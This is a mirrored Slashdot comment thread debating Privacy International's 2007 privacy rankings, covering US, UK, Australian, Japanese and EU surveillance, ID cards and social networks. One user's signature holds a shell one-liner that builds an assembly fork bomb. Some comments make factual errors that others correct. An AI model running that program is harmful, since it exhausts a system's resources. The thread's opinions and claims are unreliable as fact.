Slashdot Mirror
Privacy International Releases 2007 Report
I Don't Believe in Imaginary Property writes "Privacy International has released their report on privacy for 2007, which includes a color-coded world map that highlights the countries with the best privacy laws, the privacy-hostile countries being in black. While many of the overall rankings may come as no surprise, it does highlight some of the more obscure abuses. For example, Venezuela requires your fingerprints just to get a phone and South Korea requires a government registration number linked to your identity before you can post on message boards. Makes you wonder who is Number One?"
Take australia where i live for example. We have many many privacy safeguards and acts, which mean anyone seeking private information requires your signature, or they simply won't get it. I've never seen anything that would lead me to believe as long as i took REASONABLE precautions, my private data is not safe.
to qualify my statements, i used to work in the medical field where privacy is a huge issue.
If you mod me down, I will become more powerful than you can imagine....
The report looks a bit political to me. More America-bashing and moral equivalence.
Pee > Poop!
The thing that concerns me is that Americans tout "freedom" and "liberties" on a daily basis as part of often over-exaggerated patriotism or often an excuse to conduct military missions (to "protect our freedom"). Americans will often even forgive infringements and attacks on our "freedom" and "liberty" by citing the supposed fact that we have so much of both and can apparently thereby afford to let a little of it slip away here and there for causes they deem worthy.
Yet for those who are aware of the world around them, it is easy to see great chunks of freedom, liberty and privacy being wrestled from our grasps on a daily basis. Usually without much defense on our part. We just hand it over. It's like being a passenger on an ocean liner and touting the safety and reliability of the vessel even as you wade across the submerged deck, up to your hips in salt water.
What it all really means, is "I can still buy a $5 latte and my favorite sit-com with the offensively stereo-typed ethnic characters is still on television and I can still follow my favorite commercial sports team, so I *must* have an ass-load of freedom!".
Though I am inclined to classify this research as bogus, it's quite funny and intriguing that the USA, Britain, Russia and China are in the same club. I'd like to hear my president talk to China about privacy.
What's with the "Prisoner" reference? The ceaseless spying on the occupants of the Village was an aspect of the series, not the overarching theme.
I know I'm quibbling because the Prisoner reference could have been worked into the summary quite easily but asking "Who is Number One?" isn't relevant to the referenced article. This question will also set off flame wars in some circles.
This is an observation, not a criticism, and a plea for more succinct summnary writing. The reference to the Prisoner is apt but could have been better phrased.
Thailand, Singapore, Malaysia really needs to work on this since their governments all claimed that smart ID cards are so convenient that they can use it to replace ATMs and train tickets.
Note that the European Union seems to have protected its citizens (from terrorism) without abridging basic civil rights.
Quoting TFA:
case law on government searches has considered new technologyConsidered it to be... what?
I think they probably meant to say "exempt", but given later misstatements, it's hard to say.
# REAL-ID and biometric identification programs continue to spread without adequate oversight, research, and funding structuresHuh? I thought REAL-ID was dead in the water. What does "spread" mean? Does it actually exist somewhere? Do they mean that more research and funding of REAL-ID would enhance our privacy against government surveillance? This statement is a jumble.
# World leading in border surveillance, mandating trans-border data flowsI call FUD on that. Prove that we have more per capita surveillance of border crossings than, say, Switzerland, Singapore, Norway or Israel.
Heck, we have container ships full of every product imaginable unloading left and right, and the government doesn't have a clue what is in those things. More people cross the southern borders of the USA every year undetected than *live* in some of these countries. And our border with Canada often consists of a road sign saying "Welcome to the USA, hosers!"
plans spread for 'rings of steel' around cities to monitor movements of individualsOK, now they are just making crap up. The only relevant reference I could find about "rings of steel" referred to British security around central London. Anybody who thinks that would work in the US has never seen a freeway or a cargo train.
At best, this is a poorly edited article. At worst, it is deliberate misinformation.
Is it just me or can anyone see a single country with this rating?
It wouldn't hurt if all of you sitting in front of your notebooks, computers, and cellular phones with integrated cameras turned off could be bothered to wave at us once in awhile.
You're not fooling me!
I cannot believe that this report does not include Japan's treatment legal "foreigners", including visitors, long term & permanent residents. Since late November, all of the these "foreigners" in Japan are now forced to be fingerprinted. Even worse, the corrupt Japanese government awarded the contract to collect the "foreigner" biometric data to the corrupt criminal organization Accenture (renamed Arthur Andersen) which did the falsified books for Enron and Worldcom. Accenture won the bid to collect the data for only (JPY)$100,000, approximately (USD)$900. You can bet that the Accenture paid the Japanese government a lot of money under the table in order to resell the biometric data to interested parties.
Maybe other countries should start fingerprinting Japanese visitors and residents, and then sell the biometric data to those Nigerian scammers.
This fingering of "foreigners" is even worse considering that Japan is the only first world nation not to have any anti-discrimination legislation, and legal "foreigners" in Japan are not even afforded even the mere basic of protection under the law. (Foreigners in Japan do have any Habeas Corpus and can be tortured in prison for up to 21 days. Testimony by foreigners in Japan has been ruled inadmissible in court, since there are not considered to be human by the Japanese ministry of Justice.)
Foreigners in Japan do have any Habeas Corpus and can be tortured in prison for up to 21 days.
Meanwhile, citizens in the US also do not have any Habeas Corpus rights and can be made to disappear forever.
Clearly, the Japanese are rank amateurs at this.
Stuff those fracking myminicity links up your putrid goatse'd troll ass!
Maybe they don't include it because they wrote about it earlier:
http://www.privacyinternational.org/article.shtml?cmd%5B347%5D=x-347-558619
"PI leads coalition of organisations against Japanese Government plans for fingerprinting at border
19/11/2007
Today, in a coalition with 18 Japanese rights groups, Privacy International delivered a letter to the Japanese Minister of Justice to protest against the implementation of a fingerprinting system and face-scanning system at its borders. All visitors and many foreign residents to Japan will be fingerprinted under this plan. Our letter to the Minister is endorsed by 68 organisations from 30 countries."
It's a shame that your post doesn't say anything "new" or "insightful", or offer any "solutions" to the "problems" you "suggest".
Gamingmuseum.com: Give your 3D accelerator a rest.
Let's see what Austrailia has been up to this week:
"The Australian government is mandating the creation of 'clean' internet feeds", but you also "scrapped the proposed Australian universal ID 'Access Card'."
So far, that's a draw.
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
They just want to be cool and copy what US does.
Okay, so there are about five minicity proponents who troll here.
Yet there isn't even a direct payoff. What happens if someone turns around and puts monetary incentives on these things?
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
His point (which seems to have escaped you) is that many Americans aren't capable of even perceiving the problem.
And that's a problem.
The higher the technology, the sharper that two-edged sword.
There's #2 of 5...
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
I figured out a little about how to hijack those cities. Would you like your own with an instant population?
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
maybe even pink as of today. But yeah, in 2007 it was fairly good here.
Happy new year.
Only if we're allowed to delete the population. That would sate my blood lust, and I'm sure knowing that us bored nerds can easily wreck their game would discourage the 5 or 6 minicities that keep posting here.
Just -1, Troll talking to another.
American athletes at next summer's Olympics in China wearing Statues of Liberty on their uniforms.
American athletes handing out Statute of Liberty souvenirs to their Chinese competitors.
Those souvenirs marked, "Remember Tienemann Square" on their bases, as a talking point to begin some unrestricted dialogue.
And one or two or a hundred of the winning Chinese athletes hoisting the Statue of Liberty souvenir, or an American shirt they traded for emblazoned with her blessed visage, while on the medal receiving stand.
That's what I'd like to see.
PS, hey France, thanks for the glorious gift. Wish we were worthier of it, but hey, some of us are trying.
The dieing call of the conspiracy theorist...
This pisses me off as I see friends and family continue to throw their personal information into the shithole that is MySpace when there are better alternatives available. This privacy group spouts loads of uninformed and ignorant crap. This was clear when they placed Facebook lower than MySpace in their "rankings".
http://www.privacyinternational.org/issues/internet/interimrankings.pdf
Regardless of what you think of Facebook's controversial features... even YEARS ago, Facebook has offered super granular access control to view different parts of a profile. Non-friends by default have never had access to see a profile unless they were in the same network (which has been optional, too)
To an extent (flame on) - Facebook is to linux as MySpace as to Windows. Facebook usees access controls enabled for privacy out of the box. On the other hand, MySpace is a default privacy trash can. If you want to use a social network (you don't have to) then use one that respects your need to adjust privacy.
You'll also notice that MySpace's privacy controls is a single checkbox, which denies randoms from seeing your stuff. That's all you get for privacy.
Facebook allows you to narrow it down further into limited profiles, or even further with temporary access to a shorter profile through the poke feature. This has been around for YEARS at Facebook. Now tell me, why didn't Privacy International notice the drastic, overwhelming privacy features (though underused) Facebook offers it's users? BECAUSE THEY DIDN'T LOOK. It makes you ask, WHO ARE THESE GUYS? I would have LOVED to use these rankings as anti-MySpace ammo... and look what they give me.
Who can we trust to watch the watchmen? One that isn't sponsored by Fox news, please.
I am surprised that there are no countries in blue(consistently upholds human right standards). listen_to_slashdot
compared to a federal id card with biometeric data on it i'd say we are more then better off this week. i suggest you learn to read more then the slpashy headlines.
If you mod me down, I will become more powerful than you can imagine....
Another point is that many Americans are capable of perceiving problems where there are not any problems.
And that too is a problem.
corrupt criminal organization Accenture (renamed Arthur Andersen)
Nope. Accenture was formerly named Andersen Consulting
which did the falsified books for Enron and Worldcom.
Nope. That was Arthur Andersen. Two different companies.
The organization completely misreads the US Constitution and is also factually incorrect.
# No right to privacy in constitution, though search and seizure protections exist in 4th Amendment; case law on government searches has considered new technology No comprehensive privacy law, many sectoral laws; though tort of privacy
1) The US Constitution is NOT a collection of the rights of citizens, ala a French Declaration of the Rights of Man. Rather the US Constitution is a declaration of the rights of government. As it was stated in our own Declaration of Independence "We are endowed by the Creator with certain inalienable rights". Thus, if it is not in the US Constitution, it is legal for citizens (with respect to the federal government), and illegal for the government. The Bill of Rights is thus an affirmation of that idea, not the document that "gives us rights". Our rights are inalienable.
2) The concept of a right to privacy underlies Roe V Wade in the USA.
This is my sig.
No, it's not mandatory, but it is going however to be an "opt-out" system. And to be honest, I'd be stunned if you can opt out entirely. Once filtering is in place, the government could never afford to let things like child pornography not be filtered regardless.
Once the filtering commences it's all downhill. We already hold internally published material to standards set by the ACMA (no publishing porn here!) so how long do you really think it's going to take before the government is pushed to classify and filter all content in line with ACMA guidelines?
Gentlemen, start your TOR routers.
[clever sig]
> The thing that concerns me is that Americans tout "freedom" and "liberties" on a daily basis as part of often over-exaggerated patriotism or often an excuse to conduct military missions (to "protect our freedom"). Americans will often even forgive infringements and attacks on our "freedom" and "liberty" by citing the supposed fact that we have so much of both
Agreed on one account and disagreed on the other.
Agreed that we are letting our freedom slip away, one after another after another. It's getting worse over time.
But we've still got it pretty good compared to many places. I can still legally own a firearm, even though my government would prefer that I not - this is a KEY freedom I wouldn't get in most nations, and in fact you can argue, it's the basis for most of the rest. I can still legally use strong encryption and cannot be compelled to turn over the keys, unlike many other first world nations. And so forth - this list is bigger than most people seem to think.
It's not all roses, and Americans do seem very eager to willingly give up the freedoms they DO have. But the USA still has freedoms that very few other places do. Even though I don't *want* a firearm, and have no intention of ever owning one, I'm simply not willing to live in a nation that would take that away from me. When you get right down to it, *all* freedoms come from the threat of force.
The value of "freedom" as an american ideal was a great thing and shaped the very foundations of our government. That value is long since dead. Early Americans understood the value of personal freedom. They were very diverse and many of them were immigrants from oppressive cultures. Even the strict puritans espoused a policy of letting those outside their community make choices they disapproved of.
Here's an experiment. Go find a few normal people and have a conversation with them about a few political topics. Notice that no matter what their political affiliation, the vast majority of them think it is just and ethical for them to pass laws to take choices away from others, even when those choices do not affect anyone else. Be it hunting bans or gay marriage or prohibiting heroin, nearly everyone is in favor of passing at least one law to tell other people how to live their lives. Ask them if they value freedom and they'll tell you they do, but ask them specifics and you'll see they don't mean it. They want everyone to be free so long as they don't make choices they disapprove of.
Freedom is the right of others to make choices you think are wrong and supporting freedom means supporting the right of others to make those wrong choices. Unless that value becomes important to Americans, our civil rights will continue to erode from both ends of the political spectrum and both major political parties.
yes i agree this filtering is a retarded expensive waste of time, typical of everything you can expect from a labor government, but it is NOT anywhere near as bad as a federal ID card with your life on it.
If you mod me down, I will become more powerful than you can imagine....
The Australian government (under liberal, about 5-7 years ago) tried to filter the internet before. It was to 'bribe' a senator from Tasmania, Brian Harradine (I have probably spelled that incorrectly) so that he would not oppose the introduction of a government policy (I believe that it was the GST if my memory serves me correctly, but I could be wrong. I know that he opposed it anyway)
Now we have another government, the labour party, trying to filter the internet. Which senator are they trying to bribe, and what is the piece of policy that they want to get through? That is what I want to know (I know, I sound like I am wearing a tin-foil hat, but just because I am paranoid, it doesn't mean that they aren't out to get me)
I am not stubborn. I am right!
No argument there, but that's not my point. Sorry if I didn't make my theory clear, but I meant that content would be classified in line with ACMA guidelines. We see something similar with the laws banning the importation of pornography. reference
When you get right down to it, access to externally published material over the net is an oddity; all content imported by any other means is either banned or subject to classification/censorship. I honestly don't believe that if we have this filtering system set up the government will be able to resist attempting to bring content published over the net in line with the rest of our censorship system. In short, while the federal ID card certainly had some issues (RFID) and arguments in favor and against, filtering provides nothing of value other than censorship. Once it's in place and demonstrated to be working at least somewhat, it's guaranteed to be extended to bring it in line with our other media classification/censorship. And from there it's most likely to be enforced by legislative and not technical means.
[clever sig]
The UK does not have ID Cards.
Ok, the Government wants to introduce them but AFAIK, the bill to introduce them has not been passed by Parliament and received Royal Ascent( The Queen's Signature )
There are several Political Parties which are totally opposed to the introduction of ID Cards.
Finally, given the fiasco that normally accompanies government IT Projects, I don't expect to see them introduced before 2020 anyway.
I'd rather be riding my '63 Triumph T120.
Those who can make you believe absurdities can make you commit atrocities. - Voltaire
Unselfish actions pay back better
I'm sure the people of Zimbabwe will be relieved to know they live in a country that "consistently upholds human rights standards." Seriously, who put this thing together? At least be honest and have a "we don't have a clue" color.
>What it all really means, is "I can still buy a $5 latte and my favorite sit-com with the offensively stereo-typed ethnic characters is still on television and I can still follow my favorite commercial sports team, so I *must* have an ass-load of freedom!".
Personally I find this offensively stereo-typing americans.
Makes you wonder who is Number One?
USA! USA! USA! USA! USA! USA!
``What it all really means, is "I can still buy a $5 latte and my favorite sit-com with the offensively stereo-typed ethnic characters is still on television and I can still follow my favorite commercial sports team, ...''
Well, actually, if that's all you care about, isn't that all that matters? I mean, life can be good even without freedom and democracy.
I know, I know. Checks on the power of government are supposed to protect us against the government making our lives miserable. But how effective are they, really? If the government crosses the line, who is going to stop them? What if there is a coup? What if the country is at war? What if there is so much misinformation that almost nobody knows what is really happening? What if it's not the government making people's lives miserable, but other groups?
Do people actually tend to be happier in countries that have good privacy checks in place?
Please correct me if I got my facts wrong.
How do you know? Maybe you're perceiving problems where there are not any problems too?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
And you think that the Conservatives will still continue to oppose id cards when they get into power?
Yeah, right: Greece leads the EU on privacy, in a year that saw the board of the independent Privacy Authority resigning over rampant and unconstitutional CCTV use by the Justice Department. Incidentally, that happened just before the Greek PA was to investigate the 2005 wiretapping scandal that made international headlines. What kind of kool-aid are they taking over there in Privacy Int'l? The sad truth is that privacy took a nose dive this year across the whole of the EU, with the Prum, VIS, PNR and Swift data accords being ratified and there weren't any silver linings.
"We don't stop playing games because we grow old; we grow old because we stop playing games.."
Though I am inclined to classify this research as bogus, it's quite funny and intriguing that the USA, Britain, Russia and China are in the same club.
Actually, speaking as someone from the UK, I think it's just sad... and entirely, objectively accurate. Our modern surveillance state/database society in the UK would make any dictator proud.
We are rapidly moving towards a state where the government monitors, inter alia,
The government is essentially compiling databases, to be kept near enough forever, of:
in addition to all the usual financial and employment records, of course.
The only difference between the UK and certain more infamous countries is that, at least until recently, the serious damage had been only incidental and affecting a few people, while certain other governments more routinely abuse the information they collect. Then again, see my current sig for how fast the UK government is trying to catch up — and remember that's just the biggest story recently, not the only one.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Wow, you're really kind to Facebook.
Have you also noticed that their entire modus operandi is basically to get friends to provide information about each other? And that if you've ever created an account there, even if you deactivate it, they still keep your personal information around indefinitely and allow people to continue doing things like tagging you in photos?
I don't know how anyone rational can view services like Facebook as not being a serious threat to privacy.
Of course, I'm about as likely to get sympathy for that view on Slashdot as I am when I say I think Google is the greatest threat to privacy in the history of humanity. That doesn't make either statement any less true, but there you go.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
there is plenty of monetary incentive. Not for the trolls though, but the myminicity.com folks are cleaning up on this.
/. is sent in by anonymous cowards.
What I'm worried about is the 200 copycats that will give fools gold to their users in return for harassment of the rest of the online population.
The days of anonymous posting will be over soon if this trend continues, and that gets me because some of the best stuff on
MP3 Search Engine
The UK does not have ID Cards. Ok, the Government wants to introduce them but AFAIK, the bill to introduce them has not been passed by Parliament and received Royal Ascent( The Queen's Signature )
Unfortunately, you are mistaken. The Identity Cards Act received royal assent, becoming law, on 30 March 2006.
The first legal battle has already been lost. Now it's down to either electing someone to repeal the law before it really takes hold, or sufficient civil disobedience to undermine the law. Fortunately, both of those events are quite likely.
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
Is so 19th century. This is 2008, you need to embrace your government, they are doing this for your own good you know. Privacy only breeds insecurity.
You don't want to be considered a subserve with all this talk of 'personal freedoms' do you?
---- Booth was a patriot ----
They are two different companies now, but until 1989 they were one, and in a group until 2000. It stands to reason that shareholders of one will even now (or until Enron anyway) be shareholders of the other. A company is only the sum of those who control it.
This section from wikpedia http://en.wikipedia.org/wiki/Arthur_Andersen#Andersen_Consulting_and_Accenture is quite brief, and explains what happened a bit better.
While Accenture was once under the Arthur Andersen umbrella, they are not the organization which did the Enron books. In fact, they, prior to the debacle, sued to break away from Arthur Andersen and lost the (at the time prestigious) name in the process. This later turned out to be a win/win for them.
Freedom is the right of others to make choices you think are wrong and supporting freedom means supporting the right of others to make those wrong choices
I'd add something like 'as long as no harm is done' to that. You know, just to avoid giving people the 'freedom' to kill others for example. The big question is where to draw the line. Does a same sex marriage harm anyone? Does the right to carry arms harm anyone? Does it harm anyone if the government isn't allowed to eavesdrop on your communications?
This is why it's vital to have a good constitution in any form of democracy, to ensure that a line is drawn that cannot be crossed by regular laws. Unfortunately, either a lot of constitutions aren't good enough, or a lot of governments are working around them.
You are right though about the value of freedom being dead. I'm from The Netherlands, and I remember that we used to be seen as a tolerant, freedom loving nation full of strange people. I feel we have a decent constitution, yet our governments have managed to put us firmly in the red category. Sure, we can still smoke weed, have abortions and euthanize ourselves, but that's only a part of freedom. Unfortunately, not many people seem to realize that. Give the people bread and games, and they'll be happy.
...who the hell is "Privacy International"?
Submitter here. Yeah, it was a weak joke, but you got it.
At first, I wanted to find a way to work in a reference to Number Six in relation to the government registration number, but that was even weaker.
At least this time people aren't trying to complain that I don't believe that copyright law exists (!?) instead of realizing that I don't trust it, or believe that it's right, or believe that it's property. But maybe it helped that I linked to USC 17 (copyright law) instead of the Pirate Bay or the EFF donation page (which, I hasten to note, are rather different in their goals).
Growing up knowing nothing but huge, overly powerful government, what else should we expect?
This certainly doesn't apply only to the US. The vast majority of human beings in this world simply cannot imagine life without that god-like central power, regardless of their particular brand of politics-religion. After all, centralized power absolutely dominates the world today, more so than ever before in history.
For christ's sake, when the average individual considers freedom itself a threat -- just look at the way freedom-leaning politicians are regarded as "radicals" and "nutjobs" -- is it any wonder they see government as the savior rather than the divider and destroyer?
Many of the same surveillance capabilities in China are firmly implanted in the US also, which in theory, at least from one viewpoint, puts them "in the same club"; what makes the difference - for now - is that China readily and widely abuses its powers to implement what is effectively a fascist dictatorship (where people can and do for example commonly get 'disappeared' for merely expressing views that disagree with the government), while the US abuses its powers only minimally and has NOT actually become a fascist dictatorship. So both governments have, in theory, similar *power* to perpetrate nasty stuff (which is primarily what we're measuring here), but there are still vast differences in how that power is exercised.
I'm all for not giving governments so much power in the first place, because firstly sooner or later it is inevitable that you get corrupt governments, and secondly, power begets power and power of government seldom lessens over time, so you're always heading in the wrong direction over time.
The map is rife with errors, and the study takes factors into account that haven't actually happened. For instance, the US received the lowest possible score for 'ID Cards and Biometrics'. Sure, there's some particularly nasty legislation in the works, but so far none of it has passed.
Svalbard is colored red. I can't possibly imagine that there are considerable privacy issues taking place on Svalbard, apart from the fact that most of the arctic island's 2,200 inhabitants probably know each other.
Scotland is ranked considerably higher than England & Wales. However, this is not reflected on the map.
As much as I applaud Privacy International's efforts, they're trying too hard to prove their point, and their credibility is suffering as a result.
-- If you try to fail and succeed, which have you done? - Uli's moose
Maybe you SHOULD be offended. I'm American. It perfectly describes the vast majority of Americans I know.
Yes, Americans are good people. They're also wholly uninterested in their political livelihood.
We are the fire that lights our world.. and we are the fire that consumes it.
Yay! My country of origin (Malaysia) is in the same league as the US. We have a national identity card (NRID)which was introduced during British colonial times and we just got used to it. You can't apply for anything or do any official business in Malaysia without an I.D. I suppose most Malaysians consider the identity card to be a fact of life and even a useful tool. It has become a rite of passage. You apply for a birth certificate and NRID when you child is born, get a full version of the card the they turn 12 and finally update the card when they turn 18. I remembered waiting eagerly to receive the NRID as a symbol of growing up. On another note, during the communist insurgency in the 50s, the British and later the Malayan government introduced a law called the Internal Securities Act (ISA) which is similar to the Patriot Act. Again, we have gotten so used to it (though there are always some rumblings)that the act is still used despite the communists having surrendered 20 years ago. It is now being used to detain dangerous criminals when the evidence is not enough (yet) and unfortunately, political activists as well, though prisoners under this act are treated relatively well compared to the U.S. Guantanamo bay prison. Their imprisonment is announced publicly,they are allowed legal representation, visits by families, and on some occasions compassion visits during family tragedies. Most will not remain uncharged for more than a year and if not charged will be released. It is interesting that the U.S used to regularly badger our government about the ISA but after 9/11, this has stopped.
As an American, I can say that privacy laws are lacking. Just recently states have started to look at the severity of problem and are passing judgments against the Patriot Act. Being an Engineer and MBA student, I see the problems first hand how the technology can be abused. It is just that the bureaucratic and slow manner that American laws change cannot keep up with technology. The laws will change, just look at the negative backlash to Bush due to the police state policies he pushed for. I am not going to make excuses for the low grades, I will instead talk about the data itself. Other countries are in worse shape. This reviews just the developed countries. Which in a way is a good thing because it sets high baselines. It also shows technology wise how well each country is using their laws and technology. It is bad in it sets the bar so high that it even the good countries cannot meet the grade. Also developing nations get a zero in most of the indicators and is not shown. It can be taken out of context since it is just a single indication on the state of a country. There are other valid indicators on the state of the economy: PPP, GDP, HMI, etc. Which I might add Greece ranks varies from 19 to 35 in PPP indication. Americans are not a single entity. We are diversified and many.
That's jut it - it's a "low reward" behavior on the part of a Simple Troll. ... Unless the employees from the minicities ARE the trolls.
But even if we include a larger troll base such as the Goatse's, all we have to do is the same type of trick as on the RIAA threads - find a way to siphon it out to our benefit. I don't know yet, but once some counter-weight advantage starts weighing against trolls, we'll regain the power of AC.
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
In Finland, being very much of European descent, but having the misfortune of carrying a passport from a North American country, I have to call it like it is: having to repeat the whole story of how I moved to Finland, at every fucking border crossing in or out, over a 10-year period and yet having a permanent resident permit in my passport - and a very Karelian accent thank you - is a situation that smells of idiocy, paranoia and Spanish inquisition. So yes, when border surveillance and immigration practices are that 'tard, it becomes: 1) discrimination 2) invasion of privacy (you wouldn't believe the questions border guards ask) and 3) irritates perfectly legal immigrants to the point of testing their patience beyond reasonable limits, which THEN becomes a national security issue. Sitä saa, mitä tilaa, joten älä tilaa ikävyyksiä ärsyttämällä maahanmuuttajia raja-asemalla koko ajan, kiitos.
Software is not supposed to be about how to work around a useability issue. - Ken Barber
That is because phones, as TV, deformates the mind.
Most of us are born into a world where overwhelmingly concentrated government power has ruled our entire lives, and we find it difficult if not impossible to imagine a world without it.
No, the reality is that we are so damned free that we don't even realize it. We are so rich, we don't even realize how much of what we have. Really, a look at what people are buying in media should tell you everything about the state of mind of the American people. Sure, if you ask any American what's going on in the world, they'll say the economy sucks, but, the reality is, most Americans have food, a place to live, some way to get intoxicated, music to listen to, and probably at least one car. So, sucks is a relative thing any more. The embarrassing truth about the media obsession with the likes of Britney Spears, is that America is so damned rich that Britney really is all most people have to worry about. Sure, the sky may fall in any of ten different ways, but America is a country with a deeply religious heritage in a faith where the sky has been about to fall for two thousand years, but hasn't. Just because scientists have now joined the chorus of religious nuts and homeless people in telling we Yankees that the end is nigh doesn't make it any more believable.
This is my sig.
Freedom for the fox!
Here's an experiment. Go find a few normal people
Here's an easier experiment. Give me the square root of -1.
What?
"since they are not considered to be human by the Japanese ministry of Justice."
Well at least the Japanese government listens to it's people.
Well, actually, if that's all you care about, isn't that all that matters? I mean, life can be good even without freedom and democracy.
The problem is that an individual can lose a *lot* of freedoms before they personally are adversely affected, but by the time it causes a problem for them it may be far too late to do anything about it.
Also, different individuals need different freedoms. For example, it isn't going to cause me personally an immediate problem if the government declares all middle-eastern people to be terrorists, and arrests them, since I'm a white British national - but the fact that it doesn't immediately affect me certainly doesn't mean it isn't wrong.
I would also like to mention that forcing democracy on everyone in the name of freedom is somewhat stupid - democracy is a pretty flawed system and if you cared about freedom you wouldn't be so quick to remove other nations' freedom to run non-democratic systems (whether they be flawed or not).
http://blog.nexusuk.org
Absolutely true, and the fingerprinting is only the beginning.
You would think that if such fingerprinting measures were taken at the border, any foreigner admitted to the country would be considered not to be a criminal, but in fact the Japanese government doesn't start trusting you even a bit.
All non-citizens -- even permanent residents -- are forced to carry Alien Registration Cards at all times. These cards alone contain enough information to offer any mugger the opportunity to become an identity thief: bearer's name and Japanese kanji/kana name, if there is one; date of birth; sex; place of birth; nationality; home municipality and state/province in home country; current address; name of householder at current address; passport number; date of issue of passport; date of first landing in Japan; visa type and expiration date; job title; employer's name and address, and finally, signature (if issued after early 2000s) or fingerprint (if issued earlier).
All of this is printed in plain text easily visible to the eye. This is an identity theft disaster waiting to happen, even if the data obtained forcibly by immigration inspectors hasn't been sold off to unknown organizations.
Ostensibly there are rules in place about when these cards can be demanded and who can see the data on them, but in practice police officers will ask to see them on the slightest pretext, and if you're not carrying yours, they can take you to the police station, make you sit in detention until the Ministry of Justice can verify your identity, and possibly impose a fine.
The report mentions CCTV cameras as a threat to privacy, but doesn't mention what Japan has: good old-fashioned live police officers on the streets arbitrarliy accosting people and demanding papers! I'd much rather walk past a CCTV camera than a Japanese "police box"!
The police also keep non-citizens under surveillance by using illegal "policy creep" such as getting hotels to demand these cards (and make copies!) for all foreigners staying with them, despite the law stating that only non-residents have to provice such information. Employers, real-estate agents, mobile phone companies, and even places like video stores will also demand copies of these cards as a condition of service. There are even rumors of adding chips such as RFID to these cards and setting up scanners in hotels, train stations, and other public facilities.
No one protests, because non-citizens can't vote and the average Japanese person is too busy and too apolitical to care. "Become a citizen" isn't good advice either, as it takes many years of residence to be eligible and your data doesn't get destroyed if you become Japanese (and police will hassle you on the street anyway, if you don't look Japanese).
I'm disgusted that Japan's rating was as high as it was. Japan takes only the most totalitarian parts from the US, Great Britain, and the EU, and counts on the voices of the "it's their country; they can do whatever they want" crowd to drown out civil-liberties advocates. Japan is fading into irrelevance on the world stage, I'm sad to say, and this creeping totalitarianism is one reason why.
Hmm, that is pretty subjective. How about we're consistent to a single concept? Freedom of others to make choices you disapprove of, provided those choices don't conflict with the rights of another. In fact, I'd argue that all laws should be mitigating the conflict of rights between citizens, otherwise it is trying to legislate behavior that does not affect society.
Does a same sex marriage harm anyone? Does the right to carry arms harm anyone? Does it harm anyone if the government isn't allowed to eavesdrop on your communications?Same sex marriage does not infringe on the rights of people who aren't part of the marriage. Carrying guns does not, by itself, conflict with the rights of others, but it does potentially enable others to infringe your rights, thus it understandable to have some regulation. As for the the government eavesdropping, everything the government does infringes on individual rights because it is paid for with tax dollars taken involuntarily. As such, all government actions need to be justified specifically as preventing one's rights from being infringed.